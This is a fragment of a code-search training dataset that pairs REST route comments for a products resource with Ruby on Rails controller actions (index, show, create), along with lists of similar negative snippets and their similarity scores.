"def wrapped_causes; end", "def escaper; end", "def guct\n end", "def awaken!\n\t\traise 'Not implemented'\n\tend", "def include_morsel?; true end", "def patch; end", "def patch; end", "def specialty; end", "def anatomy; end", "def production_curtailment; end", "def implemented_in; end", "def dh; end", "def spice; end", "def upc_e; end", "def autorun; end" ]
[ "0.72554106", "0.64134276", "0.64018524", "0.64018524", "0.64018524", "0.64018524", "0.6347293", "0.6164893", "0.6035768", "0.60233474", "0.60233474", "0.59546834", "0.5948067", "0.59028184", "0.58855", "0.58724016", "0.58308554", "0.5808673", "0.5808613", "0.5808613", "0.5802443", "0.5750465", "0.57310677", "0.5712747", "0.5696069", "0.56954086", "0.5691463", "0.5670583", "0.5649607", "0.5647544", "0.56409574", "0.56407017", "0.5630787", "0.5630787", "0.5623132", "0.56123734", "0.5603234", "0.5592816", "0.5589247", "0.5586445", "0.5575148", "0.5575148", "0.55724156", "0.5566947", "0.5565975", "0.5562271", "0.5557255", "0.5550995", "0.5550117", "0.5542107", "0.5523146", "0.55224717", "0.55224717", "0.55224717", "0.55224717", "0.5520439", "0.55185", "0.55185", "0.55177724", "0.5517517", "0.5517517", "0.550354", "0.550354", "0.550354", "0.550354", "0.54925644", "0.5486574", "0.5476688", "0.5475819", "0.5467218", "0.5467218", "0.5467218", "0.54575086", "0.5448384", "0.54319143", "0.54158276", "0.54086864", "0.5404886", "0.540099", "0.5397282", "0.5383774", "0.53703916", "0.53703916", "0.5368462", "0.53669316", "0.53662264", "0.53572553", "0.53568935", "0.5352976", "0.53344053", "0.53307724", "0.53276634", "0.53276634", "0.5327495", "0.5321197", "0.532041", "0.5320129", "0.531883", "0.53138566", "0.53129774", "0.53128755" ]
0.0
-1
GET /products GET /products.json
def index #@products = Product.all @products = Product.order('created_at ASC').page(params[:page]).per(12) respond_to do |format| format.html # index.html.erb format.json { render json: @products } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def products\n request :public, :get, :products\n end", "def index\n @products = Product.all\n render json: @products\n end", "def index\n begin\n @products = Product.all\n render json: @products, status: 200\n rescue => exception\n render json: { errors: exception }\n end\n end", "def index\n \tproducts = Product.all\n \trender json: products\n \tend", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = @user.products\n # was @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def user_products\n @products = current_user.products\n\n respond_to do |format|\n format.html\n format.json { render json: @products }\n end\n end", "def product(name)\n get(\"/apiproducts/#{name}\")\n end", "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "def index\n @api_v1_products = Product.all\n json_response(@api_v1_products)\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def show\n @product = Product.find(params[:id])\n json_response(params)\n end", "def show\n @products = Product.find_by_id(params[:id])\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end", "def show\n render json: @product\n end", "def show\n product = Product.find_by_id(params[:id])\n\n render json: product\n end", "def show\n render json: @product, status: 200\n end", "def index\n @products = Product.all\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n end", "def show\n render json: @product\n end", "def index\n limit = params[:limit]&.to_i || 10\n page = params[:page]&.to_i || 0\n if params[:available] == \"1\"\n @products = Product.paginate(page, limit).available\n else\n @products = Product.paginate(page, limit)\n end\n render json: @products\n end", "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "def show\n @product = Product.find(params[:id])\n render json: @product, status: :ok\n end", "def index\n @products = Product.all\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventories }\n end\n end", "def show\n result = Product.find(params[:id])\n render json: {\n status: :ok,\n product: result\n } \n end", "def index\n @food_products = FoodProduct.all\n render json: @food_products\n end", "def index\n #@products = Product.all\n @products = Product.paginate( :page => params[:page],\n :per_page => 40\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n render :json => Producto.all\n end", "def show\n @product = ProductProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def index\n @ordered_products = OrderedProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordered_products }\n end\n end", "def show\n render :json => Producto.find(params[:id])\n end", "def index\n products = Product.all\n render json: {message: \"ok\", data: products}\n puts \"hello\"\n\n end", "def show\n @product = Product.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n end", "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end", "def show\n json_response(@api_v1_product)\n end", "def show\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @product }\n end\n end", "def index\n @products = Product.all\n render json: {is_success: true, error_code: 200, message: \"Products Found Successfully\", result: @products}, status: 200\n end", "def index\n @products = Product.order('item_code ASC').page(params[:page]).per(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=> @product }\n end\n end", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def show\n @product = @user.products.find(params[:id])\n # was @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def index\n @tipo_products = TipoProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n format.json { render :json => @products }\n end\n end", "def index\n\t\t@products = Product.page(params[:page])\n respond_with(@products)\n end", "def show\n @items = cart.items\n @products = @items.collect(&:product)\n \n respond_to do |format|\n format.html { render layout: false } \n format.json { render json: @items }\n end\n end", "def all\n @products = Product.get_list_active_products.page(params[:page]).per(10)\n if @products.present?\n @products\n else\n @object = 'product'\n render \"api/v1/errors/404\", status: 401\n end\n end", "def get_products_by_ids\n products_ids = params[:products_ids]\n products = Array.new\n JSON.parse(products_ids).each do |product_id|\n product = Product.find_by_id(product_id)\n if product\n products.push(product)\n end\n end\n render json: {products: serialized_products(products)}, status: :ok\n end", "def index\n begin\n \n products = Product.all\n render json: {\n success: true,\n totalRecords: products.length,\n data: (ActiveModel::ArraySerializer.new(products, each_serializer: ProductSerializer))\n }, status: 200\n rescue ActiveRecord::RecordNotFound => e\n render json: {\n success: false,\n errors: e.message\n }, status: 404\n rescue Exception => e\n render json: {\n success: false,\n errors: e.message\n }, status: 500\n end\n end", "def index\n @products = get_products\n \n respond_to do |format|\n format.html # index.html.haml\n format.js # index.js.rjs\n format.xml { render :xml => @products }\n end\n end", "def index\n @user_interactive_products = UserInteractiveProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_interactive_products }\n end\n end", "def show\n @products = Product.find(params[:id])\n end", "def index\n @size_to_products = SizeToProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @size_to_products }\n end\n end", "def show\n render json: @product_management\n end", "def show\n @shopifyproduct = Shopifyproduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shopifyproduct }\n end\n end", "def index\n @products = current_company.products.order('created_at desc').page(params[:page]).per(20)\n render json: @products, meta: {total_pages: @products.total_pages, total_count: @products.total_count}\n end", "def products\n run(:get,\"/school_products\", [200])\n end", "def show\n puts \"the params are #{params}\" \n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def get_product\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def show\n render json: @food_product\n end", "def index\n @products = Spree::Product.not_deleted.includes(:variants).page(params[:page]).per(Spree::Config[:orders_per_page])\n respond_with @products\n end", "def show\n @ordered_product = OrderedProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ordered_product }\n end\n end", "def index\n @carts_products = @cart.carts_products.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @carts_products }\n end\n end", "def show\n respond_to do |format|\n format.html {render \"products/show\"}\n format.json {\n product = Product.where(id: params[:id]).includes(:category).first\n render json: product.as_json(include: [:category, :photo])\n }\n end\n end", "def get_products\n products = response['products']\n products_ops = []\n products.each_value do |value|\n product = {}\n product[:sku] = value['sku']\n product[:product_family] = value['productFamily']\n product[:pricing_list_id] = pricing_list.id\n attributes = value['attributes']\n product[:service_code] = attributes['servicecode']\n product[:location] = attributes['location']\n product[:location_type] = attributes['locationType']\n product[:usage_type] = attributes['usagetype']\n product[:operation] = attributes['operation']\n product[:request_description] = attributes['requestDescription']\n product[:request_type] = attributes['requestType']\n product[:service_name] = attributes['servicename']\n product[:pricing_list_id] = pricing_list.id\n product[:created_at] = Time.zone.now.utc\n product[:updated_at] = Time.zone.now.utc\n products_ops << product\n end\n products_ops\n end", "def products\n Product.all\n end", "def show\n \n @product = Product.find(params[:id])\n @vendors = @product.vendor(:all)\n #@vendors = Vendor.find(params[:id])\n #@vendors = Vendor.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def index\n @products = Product.order(\"created_at desc\").paginate(page: params[:page], per_page: 21)\n\n respond_with @products\n end" ]
[ "0.79500145", "0.7929853", "0.79054135", "0.77477723", "0.76619905", "0.7622153", "0.762195", "0.762195", "0.762195", "0.76070404", "0.75873625", "0.75828224", "0.7578298", "0.75750685", "0.7565435", "0.7565435", "0.7565435", "0.7565435", "0.7530454", "0.7523024", "0.75097287", "0.7499573", "0.7487295", "0.7482803", "0.74772465", "0.74246985", "0.73933035", "0.7385907", "0.73813003", "0.73782736", "0.73618764", "0.7335821", "0.7328304", "0.73217475", "0.73007965", "0.72724617", "0.7266115", "0.72368836", "0.7231302", "0.721976", "0.72012275", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72004086", "0.72003204", "0.7183106", "0.71770364", "0.7171277", "0.71676934", "0.7161769", "0.71389854", "0.7132392", "0.7132392", "0.7132392", "0.71277475", "0.7067359", "0.7054275", "0.7054204", "0.704872", "0.7037476", "0.70290595", "0.702411", "0.70170933", "0.7006176", "0.69928014", "0.6987985", "0.69775224", "0.69533277", "0.6952554", "0.6949972", "0.694733", "0.69457495", "0.69448644", "0.69414043", "0.6925035", "0.69248766", "0.69231015", "0.6913877", "0.6913619", "0.6897382", "0.68753684", "0.68670917", "0.68639797" ]
0.7058764
73
GET /products/1 GET /products/1.json
def show #@product_impact_line_items = @product.product_impact_line_items.includes(:impact_line_item, :impact_entries) respond_to do |format| format.html # show.html.erb format.json { render json: @product } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def product(name)\n get(\"/apiproducts/#{name}\")\n end", "def show\n product = Product.find_by_id(params[:id])\n\n render json: product\n end", "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "def index\n @api_v1_products = Product.all\n json_response(@api_v1_products)\n end", "def show\n @product = Product.find(params[:id])\n json_response(params)\n end", "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def show\n @product = Product.find(params[:id])\n render json: @product, status: :ok\n end", "def show\n result = Product.find(params[:id])\n render json: {\n status: :ok,\n product: result\n } \n end", "def show\n @products = Product.find_by_id(params[:id])\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end", "def index\n @products = Product.all\n render json: @products\n end", "def show\n render json: @product, status: 200\n end", "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "def show\n json_response(@api_v1_product)\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def show\n render :json => Producto.find(params[:id])\n end", "def index\n begin\n @products = Product.all\n render json: @products, status: 200\n rescue => exception\n render json: { errors: exception }\n end\n end", "def show\n @product = ProductProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n render json: @product\n end", "def index\n \tproducts = Product.all\n \trender json: products\n \tend", "def products\n request :public, :get, :products\n end", "def show\n @product = Product.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def show\n render json: @product\n end", "def show\n @product = Product.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def index\n @products = Product.all\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n end", "def show\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=> @product }\n end\n end", "def index\n @products = Product.all\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventories }\n end\n end", "def index\n @products = @user.products\n # was @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n limit = params[:limit]&.to_i || 10\n page = params[:page]&.to_i || 0\n if params[:available] == \"1\"\n @products = Product.paginate(page, limit).available\n else\n @products = Product.paginate(page, limit)\n end\n render json: @products\n end", "def index\n render :json => Producto.all\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n end", "def show\n puts \"the params are #{params}\" \n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end", "def show\n @product_item = ProductItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_item }\n end\n end", "def index\n @food_products = FoodProduct.all\n render json: @food_products\n end", "def index\n #@products = Product.all\n @products = Product.paginate( :page => params[:page],\n :per_page => 40\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @ordered_products = OrderedProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordered_products }\n end\n end", "def index\n products = Product.all\n render json: {message: \"ok\", data: products}\n puts \"hello\"\n\n end", "def user_products\n @products = current_user.products\n\n respond_to do |format|\n format.html\n format.json { render json: @products }\n end\n end", "def show\n @shopifyproduct = Shopifyproduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shopifyproduct }\n end\n end", "def show\n @product = @user.products.find(params[:id])\n # was @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @ordered_product = OrderedProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ordered_product }\n end\n end", "def show\n @products = Product.find(params[:id])\n end", "def index\n @products = Product.order('item_code ASC').page(params[:page]).per(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def get_product\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def show\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @onecompany_product }\n end\n end", "def index\n @tipo_products = TipoProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_products }\n end\n end", "def index\n begin\n \n products = Product.all\n render json: {\n success: true,\n totalRecords: products.length,\n data: (ActiveModel::ArraySerializer.new(products, each_serializer: ProductSerializer))\n }, status: 200\n rescue ActiveRecord::RecordNotFound => e\n render json: {\n success: false,\n errors: e.message\n }, status: 404\n rescue Exception => e\n render json: {\n success: false,\n errors: e.message\n }, status: 500\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n render json: {is_success: true, error_code: 200, message: \"Products Found Successfully\", result: @products}, status: 200\n end", "def show\n render json: @product_management\n end", "def show\n @product2 = Product2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product2 }\n end\n end", "def index\n #@products = Product.all\n @products = Product.order('created_at ASC').page(params[:page]).per(12)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @product_images = ProductImage.where(product_uuid: params[:product_id])\n render json: @product_images, status: 200\n end", "def show\n @prod = Prod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prod }\n end\n end", "def set_api_v1_product\n begin\n @api_v1_product = Product.find(params[:id])\n rescue => ex\n json_response({error: ex.message}, :not_found)\n end\n end", "def getProduct( product_id)\n params = Hash.new\n params['product_id'] = product_id\n return doCurl(\"get\",\"/product\",params)\n end", "def show\n respond_to do |format|\n format.html {render \"products/show\"}\n format.json {\n product = Product.where(id: params[:id]).includes(:category).first\n render json: product.as_json(include: [:category, :photo])\n }\n end\n end", "def show\n @items = cart.items\n @products = @items.collect(&:product)\n \n respond_to do |format|\n format.html { render layout: false } \n format.json { render json: @items }\n end\n end", "def show\n @star_product = Star::Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @star_product }\n end\n end", "def show\n render json: @food_product\n end", "def show\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "def show\n # is_my_resource(params[:id])\n\n # prossumerProductsIds = Prossumer.find(params[:id]).products.ids\n render json: ProductAuth.where({product_id: params[:id], group_id: params[:group_id]}).first.as_json(:include => :product)\n end", "def show\n @home_searches_product = Home::Searches::Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_searches_product }\n end\n end", "def show\n @magento_product = MagentoProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @magento_product }\n end\n end", "def show\n @product_price = ProductPrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_price }\n end\n end", "def show\n @prod = Prod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @prod }\n end\n end" ]
[ "0.77224106", "0.76329553", "0.76313764", "0.7607208", "0.75760156", "0.7552171", "0.7506385", "0.7484625", "0.745622", "0.74501616", "0.74376804", "0.7421124", "0.7362056", "0.7318765", "0.73185545", "0.73185545", "0.73185545", "0.7316062", "0.7311976", "0.73088664", "0.72941", "0.729187", "0.7291441", "0.7276286", "0.7272662", "0.7272662", "0.7272662", "0.7272662", "0.72700304", "0.7255538", "0.7233478", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.72326964", "0.7232629", "0.7211553", "0.7191871", "0.71728355", "0.71728355", "0.71728355", "0.717033", "0.71582985", "0.7140302", "0.70848453", "0.7072449", "0.70673674", "0.706432", "0.7038531", "0.7004358", "0.69840044", "0.69693065", "0.6968406", "0.6964786", "0.6959802", "0.695388", "0.6943222", "0.69415545", "0.6939184", "0.6928706", "0.69022006", "0.6888529", "0.68479115", "0.6837828", "0.683746", "0.6822597", "0.6821544", "0.6817213", "0.68145454", "0.6811117", "0.67925274", "0.678835", "0.6788051", "0.67867345", "0.67776203", "0.6769408", "0.67637855", "0.6759666", "0.6751121", "0.67510307", "0.6748587", "0.6746096", "0.6745283", "0.67408913", "0.6733844" ]
0.0
-1
POST /products POST /products.json
def create #byebug params.require(:product).permit(:name, :parent_product_id, :user_id) @product = Product.new(product_params) # set up associations @product.user = current_user ActiveRecord::Base.transaction do respond_to do |format| if @product.save ImpactLineItem.all.each do |impact_line_item| product_impact_line_item = @product.product_impact_line_items.create(product_id: @product.id, impact_line_item_id: impact_line_item.id) Category.all.each do |category| # byebug # in form.html.erb, impact_entry has the following HTML impact_entry[<%=impact_line_item.id%>][<%=category.id%>] ImpactEntry.create( product_impact_line_item_id: product_impact_line_item.id, category_id: category.id, value: params[:impact_entry][impact_line_item.id.to_s][category.id.to_s]) end end format.html { redirect_to @product, notice: 'Product was successfully created.' } format.json { render json: @product, status: :created } else format.html { render action: 'new' } format.json { render json: @product.errors, status: :unprocessable_entity } end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
